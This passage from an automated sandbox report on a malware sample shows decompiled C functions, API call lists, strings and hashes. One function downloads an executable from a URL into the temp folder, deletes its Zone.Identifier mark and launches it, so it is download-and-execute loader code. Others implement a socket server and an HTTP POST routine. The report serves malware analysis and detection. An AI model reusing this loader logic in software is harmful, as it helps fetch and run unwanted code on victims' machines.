								L8:
								_t80 =  *(_t66 + 8);
								_t86 = _t80[_t86 + _t86 * 2];
								continue;
							} else {
								_t54 =  *_t53();
								_t89 = _t89;
								_t86 = _t86;
								_t66 = _a8;
								_t55 = _t54;
								_t106 = _t54;
								if(_t106 == 0) {
									goto L8;
								} else {
									if(_t106 < 0) {
										_t46 = 0;
									} else {
										_t82 =  *(_t66 + 8);
										E0040EE18(_t55, _t66);
										_t89 = _t66 + 0x10;
										E0040EE73(_t89, _t66, 0);
										_t99 = _t99 + 0xc;
										E0040EF0F(_t82[2]);
										 *(_t66 + 0xc) =  *_t82;
										_t66 = 0;
										_t86 = 0;
										 *(_t82[2])(1);
										goto L8;
									}
								}
							}
							goto L13;
						}
						L11:
						_t46 = 1;
					}
				}
				L13:
				return _t46;
			}

0x0040ecec
0x0040eced
0x0040ecee
0x0040ecf1
0x0040ecf3
0x0040ecf6
0x0040ecf7
0x0040ecf9
0x0040ecfa
0x0040ecfb
0x0040ecfe
0x0040ed08
0x0040edb9
0x0040edc0
0x0040edc9
0x0040ed0e
0x0040ed0e
0x0040ed14
0x0040ed1a
0x0040ed1d
0x0040ed20
0x0040ed24
0x0040ed29
0x0040ed2e
0x0040edae
0x00000000
0x0040ed30
0x0040ed30
0x0040ed3c
0x0040ed3e
0x0040ed99
0x0040ed99
0x0040ed9f
0x00000000
0x0040ed40
0x0040ed4f
0x0040ed51
0x0040ed52
0x0040ed53
0x0040ed56
0x0040ed56
0x0040ed58
0x00000000
0x0040ed5a
0x0040ed5a
0x0040eda4
0x0040ed5c
0x0040ed5c
0x0040ed60
0x0040ed68
0x0040ed6d
0x0040ed72
0x0040ed7e
0x0040ed86
0x0040ed8d
0x0040ed93
0x0040ed97
0x00000000
0x0040ed97
0x0040ed5a
0x0040ed58
0x00000000
0x0040ed3e
0x0040edb2
0x0040edb2
0x0040edb2
0x0040ed2e
0x0040edce
0x0040edd5

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 403510b0cf44a19509243faff8fda87969da86ef6f1582569b9df3b225e8f989
Instruction ID: 3a2f59321ed5ce9e4411fbddcfe45a6f13acd9b1bb36b3b9b432ddda2576079b
Opcode Fuzzy Hash: 403510b0cf44a19509243faff8fda87969da86ef6f1582569b9df3b225e8f989
Instruction Fuzzy Hash: 4321D872900205ABCB14DF6AC8C09A7BBA5FF44310B05887AE9159B285D734F925C7E0

Uniqueness

Uniqueness Score: -1.00%

Function 0040D4F0 Relevance: 73.7, APIs: 35, Strings: 7, Instructions: 243
filesleepnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E0040D4F0(char* _a4, char _a8) {
				short _v524;
				short _v1044;
				signed char _v1045;
				short _v1572;
				void* _v1576;
				void* _v1580;
				short _v2100;
				void _v2364;
				long _v2368;
				long _v2372;
				void* _v2376;
				intOrPtr* _v2380;
				intOrPtr _v2384;
				char _v2385;
				intOrPtr _v2392;
				signed int _t88;
				signed int _t90;
				int _t96;
				signed int _t97;
				signed int _t99;
				signed int _t101;
				signed int _t111;
				signed char _t125;
				signed char _t127;
				void* _t181;
				void* _t182;
				void* _t184;

				srand(GetTickCount());
				_t182 = _t181 + 4;
				_v1045 = 0;
				ExpandEnvironmentStringsW(L"%temp%",  &_v2100, 0x104);
				_v2380 = _a4;
				_v2384 = _v2380 + 1;
				do {
					_v2385 =  *_v2380;
					_v2380 = _v2380 + 1;
				} while (_v2385 != 0);
				_v2392 = _v2380 - _v2384;
				mbstowcs( &_v1044, _a4, _v2392 + 1);
				_t88 = rand();
				asm("cdq");
				_t90 = rand();
				asm("cdq");
				wsprintfW( &_v1572, L"%s\\%d%d.exe",  &_v2100, _t90 % 0x7fff + 0x3e8, _t88 % 0x7fff + 0x3e8);
				_t184 = _t182 + 0x20;
				_v2376 = InternetOpenW(L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36", 0, 0, 0, 0);
				if(_v2376 != 0) {
					_v1576 = InternetOpenUrlW(_v2376,  &_v1044, 0, 0, 0, 0);
					if(_v1576 != 0) {
						_v1580 = CreateFileW( &_v1572, 0x40000000, 0, 0, 2, 0, 0);
						if(_v1580 != 0xffffffff) {
							while(InternetReadFile(_v1576,  &_v2364, 0x103,  &_v2372) != 0 && _v2372 != 0) {
								WriteFile(_v1580,  &_v2364, _v2372,  &_v2368, 0);
							}
							CloseHandle(_v1580);
							wsprintfW( &_v524, L"%s:Zone.Identifier",  &_v1572);
							DeleteFileW( &_v524);
							Sleep(0x3e8);
							_t125 = E0040D1D0( &_v1572);
							_t184 = _t184 + 0x10;
							if((_t125 & 0x000000ff) == 0) {
								DeleteFileW( &_v1572);
							} else {
								Sleep(0x7d0);
								_t127 = E0040D390( &_v1572);
								_t184 = _t184 + 4;
								if((_t127 & 0x000000ff) == 1) {
									_t51 =  &_a8; // 0x405de1
									if(( *_t51 & 0x000000ff) == 1) {
										ExitProcess(0);
									}
									_v1045 = 1;
								}
							}
						}
						CloseHandle(_v1580);
					}
					InternetCloseHandle(_v1576);
				}
				InternetCloseHandle(_v2376);
				Sleep(0x3e8);
				_t96 = _v1045 & 0x000000ff;
				if(_t96 == 0) {
					_t97 = rand();
					asm("cdq");
					Sleep(0x1388 + _t97 % 0xea60 * 5);
					_t99 = rand();
					asm("cdq");
					_t101 = rand();
					asm("cdq");
					_t96 = wsprintfW( &_v1572, L"%s\\%d%d.exe",  &_v2100, _t101 % 0x7fff + 0x3e8, _t99 % 0x7fff + 0x3e8);
					_push(0);
					_push(0);
					_push( &_v1572);
					_push( &_v1044);
					_push(0);
					L0040ECB2();
					if(_t96 == 0) {
						wsprintfW( &_v524, L"%s:Zone.Identifier",  &_v1572);
						DeleteFileW( &_v524);
						Sleep(0x3e8);
						if((E0040D1D0( &_v1572) & 0x000000ff) == 0) {
							return DeleteFileW( &_v1572);
						}
						Sleep(0x7d0);
						_t111 = E0040D390( &_v1572) & 0x000000ff;
						if(_t111 == 0) {
							L23:
							return _t111;
						}
						_t79 =  &_a8; // 0x405de1
						if(( *_t79 & 0x000000ff) != 1) {
							goto L23;
						}
						ExitProcess(0);
					}
				}
				return _t96;
			}

0x0040d500
0x0040d505
0x0040d508
0x0040d520
0x0040d529
0x0040d538
0x0040d53e
0x0040d546
0x0040d54c
0x0040d553
0x0040d568
0x0040d583
0x0040d58b
0x0040d590
0x0040d59f
0x0040d5a4
0x0040d5c6
0x0040d5cc
0x0040d5e2
0x0040d5ef
0x0040d611
0x0040d61e
0x0040d640
0x0040d64d
0x0040d653
0x0040d69e
0x0040d69e
0x0040d6ad
0x0040d6c6
0x0040d6d6
0x0040d6e1
0x0040d6ee
0x0040d6f3
0x0040d6fb
0x0040d740
0x0040d6fd
0x0040d702
0x0040d70f
0x0040d714
0x0040d71d
0x0040d71f
0x0040d726
0x0040d72a
0x0040d72a
0x0040d730
0x0040d730
0x0040d737
0x0040d6fb
0x0040d74d
0x0040d74d
0x0040d75a
0x0040d75a
0x0040d767
0x0040d772
0x0040d778
0x0040d781
0x0040d787
0x0040d78c
0x0040d79e
0x0040d7a4
0x0040d7a9
0x0040d7b8
0x0040d7bd
0x0040d7df
0x0040d7e8
0x0040d7ea
0x0040d7f2
0x0040d7f9
0x0040d7fa
0x0040d7fc
0x0040d803
0x0040d81c
0x0040d82c
0x0040d837
0x0040d851
0x00000000
0x0040d88e
0x0040d858
0x0040d86d
0x0040d872
0x00000000
0x00000000
0x00000000
0x0040d874
0x0040d87b
0x00000000
0x00000000
0x0040d87f
0x0040d87f
0x0040d803
0x0040d897

APIs

GetTickCount.KERNEL32 ref: 0040D4F9
srand.MSVCRT ref: 0040D500
ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 0040D520
mbstowcs.NTDLL ref: 0040D583
rand.MSVCRT ref: 0040D58B
rand.MSVCRT ref: 0040D59F
wsprintfW.USER32 ref: 0040D5C6
InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36,00000000,00000000,00000000,00000000), ref: 0040D5DC
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040D60B
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040D63A
InternetReadFile.WININET(00000000,?,00000103,?), ref: 0040D66D
WriteFile.KERNEL32(000000FF,?,00000000,?,00000000), ref: 0040D69E
CloseHandle.KERNEL32(000000FF), ref: 0040D6AD
wsprintfW.USER32 ref: 0040D6C6
DeleteFileW.KERNEL32(?), ref: 0040D6D6
ExitProcess.KERNEL32 ref: 0040D72A
Sleep.KERNEL32(000007D0), ref: 0040D702

Part of subcall function 0040D390: memset.NTDLL ref: 0040D39E
Part of subcall function 0040D390: CreateProcessW.KERNEL32(00000000,'b@,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 0040D3E5
Part of subcall function 0040D390: Sleep.KERNELBASE(000003E8), ref: 0040D3F5

DeleteFileW.KERNEL32(?), ref: 0040D740
CloseHandle.KERNEL32(000000FF), ref: 0040D74D
InternetCloseHandle.WININET(00000000), ref: 0040D75A
InternetCloseHandle.WININET(00000000), ref: 0040D767
Sleep.KERNEL32(000003E8), ref: 0040D772
rand.MSVCRT ref: 0040D787
Sleep.KERNEL32 ref: 0040D79E
rand.MSVCRT ref: 0040D7A4
rand.MSVCRT ref: 0040D7B8
wsprintfW.USER32 ref: 0040D7DF
URLDownloadToFileW.URLMON(00000000,?,?,00000000,00000000), ref: 0040D7FC
wsprintfW.USER32 ref: 0040D81C
DeleteFileW.KERNEL32(?), ref: 0040D82C
Sleep.KERNEL32(000003E8), ref: 0040D837
Sleep.KERNEL32(000003E8), ref: 0040D6E1

Part of subcall function 0040D1D0: CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040D204
Part of subcall function 0040D1D0: CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 0040D225
Part of subcall function 0040D1D0: MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 0040D244
Part of subcall function 0040D1D0: GetFileSize.KERNEL32(000000FF,00000000), ref: 0040D25D

Sleep.KERNEL32(000007D0), ref: 0040D858
ExitProcess.KERNEL32 ref: 0040D87F
DeleteFileW.KERNEL32(?), ref: 0040D88E

Strings

]@, xrefs: 0040D874, 0040D71F
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36, xrefs: 0040D5D7
%s:Zone.Identifier, xrefs: 0040D810
%s:Zone.Identifier, xrefs: 0040D6BA
%s\%d%d.exe, xrefs: 0040D5BA
%temp%, xrefs: 0040D51B
%s\%d%d.exe, xrefs: 0040D7D3

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: File$Sleep$Internetrand$CloseCreateDeleteHandlewsprintf$Process$ExitOpen$CountDownloadEnvironmentExpandMappingReadSizeStringsTickViewWritembstowcsmemsetsrand
String ID: %s:Zone.Identifier$%s:Zone.Identifier$%s\%d%d.exe$%s\%d%d.exe$%temp%$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36$]@
API String ID: 3135114409-3650745090
Opcode ID: 2b318facc40237961988d4633bef23f1fd430d2f89d1c5a367f5bf161b193eb1
Instruction ID: 4a692bf560fa698191a4ba968421e092d812baa048ff7158642ad85748ebf153
Opcode Fuzzy Hash: 2b318facc40237961988d4633bef23f1fd430d2f89d1c5a367f5bf161b193eb1
Instruction Fuzzy Hash: C291C6B5D00318ABEB24DB50DC45FED7779AB88301F0484F9F609A61C1DAB99AC4CF28

Uniqueness

Uniqueness Score: -1.00%

Function 0040E400 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 138
networksynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E0040E400(intOrPtr* _a4) {
				intOrPtr _v64;
				char _v68;
				long _v72;
				signed char _v80;
				long _v92;
				char _v96;
				char _v100;
				void* __ebx;
				void* __edi;
				void* __ebp;
				long _t31;
				long _t33;
				long _t34;
				long _t42;
				intOrPtr _t49;
				intOrPtr* _t56;
				intOrPtr _t70;
				intOrPtr* _t73;
				long _t74;
				intOrPtr _t75;
				struct _CRITICAL_SECTION* _t76;
				intOrPtr* _t77;
				void* _t78;
				signed int _t79;
				void* _t81;

				_t81 = (_t79 & 0xfffffff8) - 0x44;
				_t31 = GetTickCount();
				_t56 = _a4;
				_v72 = _t31;
				_t33 = WaitForSingleObject( *(_t56 + 0x10), 1);
				if(_t33 == 0) {
					L25:
					return _t33;
				} else {
					goto L1;
				}
				do {
					L1:
					_t73 = _t56 + 0x18;
					__imp__WSAWaitForMultipleEvents(1, _t73, 0, 0, 0);
					if(_t33 != 0x102) {
						__imp__WSAEnumNetworkEvents( *((intOrPtr*)(_t56 + 0x14)),  *_t73,  &_v68);
						if((_v80 & 0x00000008) != 0 && _v64 == 0 &&  *_t56 == 0x494f4350) {
							_t49 =  *((intOrPtr*)(_t56 + 0x14));
							_v100 = 0x10;
							__imp__#1(_t49,  &_v96,  &_v100);
							if(_t49 != 0xffffffff) {
								_t77 = E0040DF90(_t56, _t49);
								_t81 = _t81 + 4;
								if(_t77 != 0) {
									_t15 = _t77 + 0x264; // 0x264
									E0040E220(0, _t77, _t56, _t15);
									_t81 = _t81 + 8;
									if( *((char*)(_t77 + 0x274)) == 0 &&  *_t77 == 0x69636c69) {
										E0040E7D0(_t77);
									}
								}
							}
						}
					}
					_t34 = GetTickCount();
					_t74 = _v92;
					if(_t34 - _t74 < 0x3e8) {
						if(GetTickCount() - _t74 < 0x2710) {
							goto L24;
						}
						EnterCriticalSection(_t56 + 0x20);
						_t75 =  *((intOrPtr*)(_t56 + 0x38));
						if(_t75 == 0) {
							L23:
							LeaveCriticalSection(_t56 + 0x20);
							_v92 = GetTickCount();
							goto L24;
						} else {
							goto L19;
						}
						do {
							L19:
							_t42 = InterlockedExchangeAdd(_t75 + 4, 0);
							if(E0040BE60() - _t42 >= 0x1e) {
								_t45 =  *((intOrPtr*)(_t75 + 0x260));
								if( *((intOrPtr*)(_t75 + 0x260)) != 0xffffffff) {
									E00409600(_t45);
									_t81 = _t81 + 4;
									 *((intOrPtr*)(_t75 + 0x260)) = 0xffffffff;
								}
							}
							_t75 =  *((intOrPtr*)(_t75 + 0x280));
						} while (_t75 != 0);
						goto L23;
					}
					_t76 = _t56 + 0x20;
					EnterCriticalSection(_t76);
					_t70 =  *((intOrPtr*)(_t56 + 0x38));
					if(_t70 == 0) {
						L16:
						LeaveCriticalSection(_t76);
						goto L24;
					}
					while( *((intOrPtr*)(_t70 + 0x260)) != 0xffffffff) {
						_t70 =  *((intOrPtr*)(_t70 + 0x280));
						if(_t70 != 0) {
							continue;
						} else {
							LeaveCriticalSection(_t76);
							goto L24;
						}
					}
					E0040E300(_t56, _t70, _t78);
					goto L16;
					L24:
					_t33 = WaitForSingleObject( *(_t56 + 0x10), 1);
				} while (_t33 != 0);
				goto L25;
			}

0x0040e406
0x0040e40c
0x0040e412
0x0040e415
0x0040e41f
0x0040e427
0x0040e5a9
0x0040e5af
0x00000000
0x00000000
0x00000000
0x0040e42d
0x0040e42d
0x0040e433
0x0040e439
0x0040e444
0x0040e456
0x0040e461
0x0040e472
0x0040e480
0x0040e488
0x0040e491
0x0040e49b
0x0040e49d
0x0040e4a2
0x0040e4a4
0x0040e4b0
0x0040e4b5
0x0040e4bf
0x0040e4cb
0x0040e4cb
0x0040e4bf
0x0040e4a2
0x0040e491
0x0040e461
0x0040e4d6
0x0040e4d8
0x0040e4e3
0x0040e52c
0x00000000
0x00000000
0x0040e532
0x0040e538
0x0040e53d
0x0040e581
0x0040e585
0x0040e591
0x00000000
0x00000000
0x00000000
0x00000000
0x0040e53f
0x0040e53f
0x0040e545
0x0040e557
0x0040e559
0x0040e562
0x0040e565
0x0040e56a
0x0040e56d
0x0040e56d
0x0040e562
0x0040e577
0x0040e57d
0x00000000
0x0040e53f
0x0040e4e5
0x0040e4e9
0x0040e4ef
0x0040e4f4
0x0040e51a
0x0040e51b
0x00000000
0x0040e51b
0x0040e4f6
0x0040e4ff
0x0040e507
0x00000000
0x0040e509
0x0040e50a
0x00000000
0x0040e50a
0x0040e507
0x0040e515
0x00000000
0x0040e595
0x0040e59b
0x0040e5a1
0x00000000

APIs

GetTickCount.KERNEL32 ref: 0040E40C
WaitForSingleObject.KERNEL32(?,00000001), ref: 0040E41F
WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000000,00000000), ref: 0040E439
WSAEnumNetworkEvents.WS2_32(?,?,?), ref: 0040E456
accept.WS2_32(?,?,?), ref: 0040E488
GetTickCount.KERNEL32 ref: 0040E4D6
EnterCriticalSection.KERNEL32(?), ref: 0040E4E9
LeaveCriticalSection.KERNEL32(?), ref: 0040E50A
LeaveCriticalSection.KERNEL32(?), ref: 0040E51B
GetTickCount.KERNEL32 ref: 0040E523
EnterCriticalSection.KERNEL32(?), ref: 0040E532
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040E545
LeaveCriticalSection.KERNEL32(?), ref: 0040E585
GetTickCount.KERNEL32 ref: 0040E58B
WaitForSingleObject.KERNEL32(?,00000001), ref: 0040E59B

Strings

ilci, xrefs: 0040E4C1
PCOI, xrefs: 0040E46A

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: CriticalSection$CountTick$LeaveWait$EnterEventsObjectSingle$EnumExchangeInterlockedMultipleNetworkaccept
String ID: PCOI$ilci
API String ID: 3345448188-3762367603
Opcode ID: bb4d3cf90a14a1c5926323184073f7f145db719bf38f75a5591e561ad632ef64
Instruction ID: 917b59bc2a3588b9956fd89eac52db2b1e6dcbcc9db4fe113c03d7dfd46bf168
Opcode Fuzzy Hash: bb4d3cf90a14a1c5926323184073f7f145db719bf38f75a5591e561ad632ef64
Instruction Fuzzy Hash: 29413671500200ABCB209F75DC8CB9B77A9AF44714F048E3EF955A72C1EB78E891CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040CD60 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 138
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			E0040CD60(char* _a4, char* _a8, void* _a12, long* _a16) {
				char _v260;
				char _v772;
				char* _v776;
				void* _v780;
				intOrPtr _v792;
				char* _v796;
				signed short _v816;
				intOrPtr _v820;
				char* _v824;
				void _v836;
				void* _v840;
				void* _v844;
				void* _v848;
				char* _v852;
				long _v856;
				void _v1884;
				long _v1888;
				void* _t102;
				void* _t103;

				_v776 = 0;
				_v840 = 0;
				memset( &_v836, 0, 0x38);
				_t103 = _t102 + 0xc;
				_v840 = 0x3c;
				_v824 =  &_v260;
				_v820 = 0x100;
				_v796 =  &_v772;
				_v792 = 0x200;
				InternetCrackUrlA(_a4, 0, 0x10000000,  &_v840);
				_v780 = InternetOpenA("Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x)", 1, 0, 0, 0);
				if(_v780 != 0) {
					_v844 = InternetConnectA(_v780,  &_v260, _v816 & 0x0000ffff, 0, 0, 3, 0, 0);
					if(_v844 != 0) {
						_v848 = HttpOpenRequestA(_v844, "POST",  &_v772, 0, 0, 0, 0, 0);
						if(_v848 != 0) {
							HttpAddRequestHeadersA(_v848, _a8, 0xffffffff, 0xa0000000);
							_v852 = "Content-Type: text/xml; charset=\"utf-8\"\r\nConnection: Close\r\nCache-Control: no-cache\r\nPragma: no-cache\r\n";
							if(HttpSendRequestA(_v848, _v852, 0xffffffff, _a12,  *_a16) != 0) {
								_v856 = 0;
								while(1 != 0) {
									_t98 = _v848;
									if(InternetReadFile(_v848,  &_v1884, 0x400,  &_v1888) != 0 && _v1888 != 0) {
										_v776 = E00408B60(_v776, _t98, _v776, _v856 + _v1888);
										memcpy( &(_v776[_v856]),  &_v1884, _v1888);
										_t103 = _t103 + 0x14;
										_v856 = _v856 + _v1888;
										continue;
									}
									break;
								}
								 *_a16 = _v856;
							}
							InternetCloseHandle(_v848);
						}
						InternetCloseHandle(_v844);
					}
					InternetCloseHandle(_v780);
				}
				return _v776;
			}

0x0040cd69
0x0040cd73
0x0040cd88
0x0040cd8d
0x0040cd90
0x0040cda0
0x0040cda6
0x0040cdb6
0x0040cdbc
0x0040cdd8
0x0040cdf1
0x0040cdfe
0x0040ce2a
0x0040ce37
0x0040ce60
0x0040ce6d
0x0040ce85
0x0040ce8b
0x0040ceb7
0x0040cebd
0x0040cec7
0x0040cee7
0x0040cef6
0x0040cf1f
0x0040cf40
0x0040cf45
0x0040cf54
0x00000000
0x0040cf54
0x00000000
0x0040cef6
0x0040cf68
0x0040cf68
0x0040cf71
0x0040cf71
0x0040cf7e
0x0040cf7e
0x0040cf8b
0x0040cf8b
0x0040cf9a

APIs

memset.NTDLL ref: 0040CD88
InternetCrackUrlA.WININET(00009E34,00000000,10000000,0000003C), ref: 0040CDD8
InternetOpenA.WININET(Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x),00000001,00000000,00000000,00000000), ref: 0040CDEB
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040CE24
HttpOpenRequestA.WININET(00000000,POST,?,00000000,00000000,00000000,00000000,00000000), ref: 0040CE5A
HttpAddRequestHeadersA.WININET(00000000,?,000000FF,A0000000), ref: 0040CE85
HttpSendRequestA.WININET(00000000,004108D0,000000FF,00009E34), ref: 0040CEAF
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040CEEE
memcpy.NTDLL(00000000,?,00000000), ref: 0040CF40
InternetCloseHandle.WININET(00000000), ref: 0040CF71
InternetCloseHandle.WININET(00000000), ref: 0040CF7E
InternetCloseHandle.WININET(00000000), ref: 0040CF8B

Strings

<, xrefs: 0040CD90
Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x), xrefs: 0040CDE6
POST, xrefs: 0040CE4E

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttpRequest$Open$ConnectCrackFileHeadersReadSendmemcpymemset
String ID: <$Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x)$POST
API String ID: 2761394606-2217117414
Opcode ID: c6376e83d60c8fd7847bc7aaada5821a3adf07af9ef20e77e1c46dfbd3437302
Instruction ID: ea500a29b1865390ea74af70c7a13144c6f50436d918f4b951375f33d6e11f24
Opcode Fuzzy Hash: c6376e83d60c8fd7847bc7aaada5821a3adf07af9ef20e77e1c46dfbd3437302
Instruction Fuzzy Hash: 0A512CB5900228ABDB26DF54CC94BD973BDAB48705F1081E9B60DA62C0C7B86FC4CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0040E0E0 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 93
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E0040E0E0(intOrPtr* __edi) {
				void* __esi;
				void* _t25;
				long _t40;
				intOrPtr* _t53;
				intOrPtr* _t55;
				void* _t56;
				LONG* _t62;

				_t53 = __edi;
				if(__edi == 0 ||  *__edi != 0x494f4350) {
					return _t25;
				} else {
					_t1 = _t53 + 0x20; // 0x20
					EnterCriticalSection(_t1);
					_t55 =  *((intOrPtr*)(__edi + 0x38));
					if(_t55 == 0) {
						L11:
						_t13 = _t53 + 0x20; // 0x20
						LeaveCriticalSection(_t13);
						SetEvent( *(_t53 + 0x10));
						_t56 = 0;
						if( *((intOrPtr*)(_t53 + 4)) <= 0) {
							L14:
							E0040BC90( *((intOrPtr*)(_t53 + 0xc)), 0xffffffff);
							E0040BDD0( *((intOrPtr*)(_t53 + 0xc)));
							CloseHandle( *(_t53 + 8));
							CloseHandle( *(_t53 + 0x10));
							__imp__WSACloseEvent( *((intOrPtr*)(_t53 + 0x18)));
							E00409600( *((intOrPtr*)(_t53 + 0x14)));
							_t24 = _t53 + 0x20; // 0x20
							DeleteCriticalSection(_t24);
							return E00408C70(_t53);
						}
						do {
							PostQueuedCompletionStatus( *(_t53 + 8), 0, 0, 0);
							_t56 = _t56 + 1;
						} while (_t56 <  *((intOrPtr*)(_t53 + 4)));
						goto L14;
					} else {
						goto L3;
					}
					do {
						L3:
						if( *_t55 == 0x69636c69) {
							if( *((char*)(_t55 + 0x275)) == 0) {
								_t62 = _t55 + 0x21c;
								_t40 = InterlockedExchangeAdd(_t62, 0);
								if(_t40 == 0) {
									 *(_t55 + 0x230) = _t40;
									 *((intOrPtr*)(_t55 + 0x220)) = 1;
									 *((intOrPtr*)(_t55 + 0x228)) = _t55 + 8;
									 *((intOrPtr*)(_t55 + 0x22c)) = 0x200;
									InterlockedIncrement(_t62);
									if(E0040E730(_t55) == 0) {
										InterlockedDecrement(_t62);
									}
								}
							}
						}
						_t55 =  *((intOrPtr*)(_t55 + 0x280));
					} while (_t55 != 0);
					goto L11;
				}
			}

0x0040e0e0
0x0040e0e2
0x0040e217
0x0040e0f4
0x0040e0f6
0x0040e0fa
0x0040e100
0x0040e105
0x0040e190
0x0040e190
0x0040e194
0x0040e19e
0x0040e1a4
0x0040e1a9
0x0040e1c3
0x0040e1c9
0x0040e1d2
0x0040e1e4
0x0040e1ea
0x0040e1f0
0x0040e1fa
0x0040e202
0x0040e206
0x00000000
0x0040e216
0x0040e1b1
0x0040e1bb
0x0040e1bd
0x0040e1be
0x00000000
0x00000000
0x00000000
0x00000000
0x0040e10b
0x0040e10b
0x0040e111
0x0040e133
0x0040e137
0x0040e13e
0x0040e146
0x0040e14c
0x0040e152
0x0040e15c
0x0040e162
0x0040e16c
0x0040e179
0x0040e17c
0x0040e17c
0x0040e179
0x0040e146
0x0040e133
0x0040e182
0x0040e188
0x00000000
0x0040e10b

APIs

EnterCriticalSection.KERNEL32(00000020,0040B950,?,0040EC84), ref: 0040E0FA
InterlockedDecrement.KERNEL32(?), ref: 0040E126
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040E13E
InterlockedIncrement.KERNEL32(?), ref: 0040E16C
InterlockedDecrement.KERNEL32(?), ref: 0040E17C
LeaveCriticalSection.KERNEL32(00000020,?,0040EC84), ref: 0040E194
SetEvent.KERNEL32(?,?,0040EC84), ref: 0040E19E
PostQueuedCompletionStatus.KERNEL32(?,00000000,00000000,00000000,?,0040EC84), ref: 0040E1BB
CloseHandle.KERNEL32(?), ref: 0040E1E4
CloseHandle.KERNEL32(?), ref: 0040E1EA
WSACloseEvent.WS2_32(?), ref: 0040E1F0
DeleteCriticalSection.KERNEL32(00000020,?,?,?,0040EC84), ref: 0040E206

Strings

ilci, xrefs: 0040E10B
PCOI, xrefs: 0040E0E8

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
